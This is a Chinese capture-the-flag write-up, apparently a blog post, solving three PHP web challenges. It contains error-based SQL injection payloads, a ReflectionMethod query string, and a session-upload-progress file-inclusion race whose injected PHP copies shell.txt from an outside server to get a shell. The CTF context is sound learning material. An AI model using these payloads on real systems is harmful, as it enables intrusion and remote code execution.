[toc]

前言

感觉一晚上考完了高考,刚经历完一模二模三模的你还肝得动吗?

easy_sql

经测试登录密码出存在 sql 注入:

1
passwd=0')||extractvalue(1,concat(0x7c,(database()),0x7c))#&uname=123

image-20210515122241253

之后用 sqlmap 跑出两个数据表 users、flag,并且过滤了 information,所以用为无列名注入,用 join…using 爆出字段名:

1
2
3
4
5
passwd=0')||extractvalue(1,concat(0x7c,(select * from (select * from flag join flag as a)b),0x7c))#&uname=123    // id

passwd=0')||extractvalue(1,concat(0x7c,(select * from (select * from flag join flag as a using(id))b),0x7c))#&uname=123 // no

passwd=0')||extractvalue(1,concat(0x7c,(select * from (select * from flag join flag as a using(id,no))b),0x7c))#&uname=123 // 672997e4-88a0-4adc-b5ec-3482915ac53e

image-20210515122529939

然后使用 left() 和 right() 读取 flag:

image-20210515115442286

image-20210515115423302

easy_source

原题:https://r0yanx.com/2020/10/28/fslh-writeup/

目录扫描发现备份文件 .index.php.swo(少见的备份文件格式,其是 vim 打开文件后的缓存文件),访问即可得到源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
<?php
class User
{
private static $c = 0;

function a()
{
return ++self::$c;
}

function b()
{
return ++self::$c;
}

function c()
{
return ++self::$c;
}

function d()
{
return ++self::$c;
}

function e()
{
return ++self::$c;
}

function f()
{
return ++self::$c;
}

function g()
{
return ++self::$c;
}

function h()
{
return ++self::$c;
}

function i()
{
return ++self::$c;
}

function j()
{
return ++self::$c;
}

function k()
{
return ++self::$c;
}

function l()
{
return ++self::$c;
}

function m()
{
return ++self::$c;
}

function n()
{
return ++self::$c;
}

function o()
{
return ++self::$c;
}

function p()
{
return ++self::$c;
}

function q()
{
return ++self::$c;
}

function r()
{
return ++self::$c;
}

function s()
{
return ++self::$c;
}

function t()
{
return ++self::$c;
}

}

$rc=$_GET["rc"]; // 传入原生类名
$rb=$_GET["rb"]; // 传入类属性
$ra=$_GET["ra"]; // 传入类属性
$rd=$_GET["rd"]; // 传入类方法
$method= new $rc($ra, $rb); // 实例化刚才传入的原生类
var_dump($method->$rd()); // 调用类中的方法

看着代码的样子应该是调用 PHP 原生类。我们猜测 flag 是藏在类的注释中,而且我们能够实例化任意类,并调用类方法,那么就可以利用 PHP 内置类中的 ReflectionMethod 类中的 getDocComment() 方法来读取 User 类里面各个函数的注释。

ReflectionMethod 类报告了一个方法的有关信息。

所以 Payload 如下:

1
?rc=ReflectionMethod&ra=User&rb=a&rd=getDocComment

image-20210515120348612

middle_source

题目源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
highlight_file(__FILE__);
echo "your flag is in some file in /etc ";
$fielf=$_POST["field"];
$cf="/tmp/app_auth/cfile/".$_POST['cf'];

if(file_exists($cf)){
include $cf;
echo $$field;
exit;
}
else{
echo "";
exit;
}
?> your flag is in some file in /etcset 限制解除

field 就是迷惑你的,没啥用处。这个题的思路是文件包含利用 SESSION_UPLOAD_PROGRESS Getshell,详情请看:https://xz.aliyun.com/t/9545

首先访问 you_can_seeeeeeee_me.php 发现 phpinfo,查看 session 存储路径:

image-20210515233520851

构造文件上传表单上传 session:

1
2
3
4
5
6
7
8
9
10
<!doctype html>
<html>
<body>
<form action="http://124.71.232.194:24974/index.php" method="post" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="<?php copy('http://47.101.57.72/shell.txt','/tmp/shell.txt'); ?>" />
<input type="file" name="file" />
<input type="Submit" />
</form>
</body>
</html>

这里由于 PHP 的 disable_functions 限制了几乎所有可以利用的函数,命令执行、读写文件都不可能了,但是我在蓝帽杯中学到了一个姿势就是利用 PHP 中的 copy 函数,如下:

1
copy('http://47.101.57.72/shell.txt','/tmp/shell.txt');

即将位于我们 vps 上存在恶意代码的 shell.txt 文件远程复制到目标主机的 /tmp 目录中。

我们随便上传一个文件并抓包,给 HTTP 头中加上 Cookie:

image-20210515233420628

然后发送到 Intruder 模块中不停地重放。

之后再抓个包含 session 文件的包,也是发送到 Intruder 模块中不停地重放:

image-20210515233622035

两个 burpsuite 双管齐下,如下图所示写入成功:

image-20210515233743227

然后包含我们复制进去的 shell.txt 即可 Getshell:

image-20210515234010605

image-20210515234050925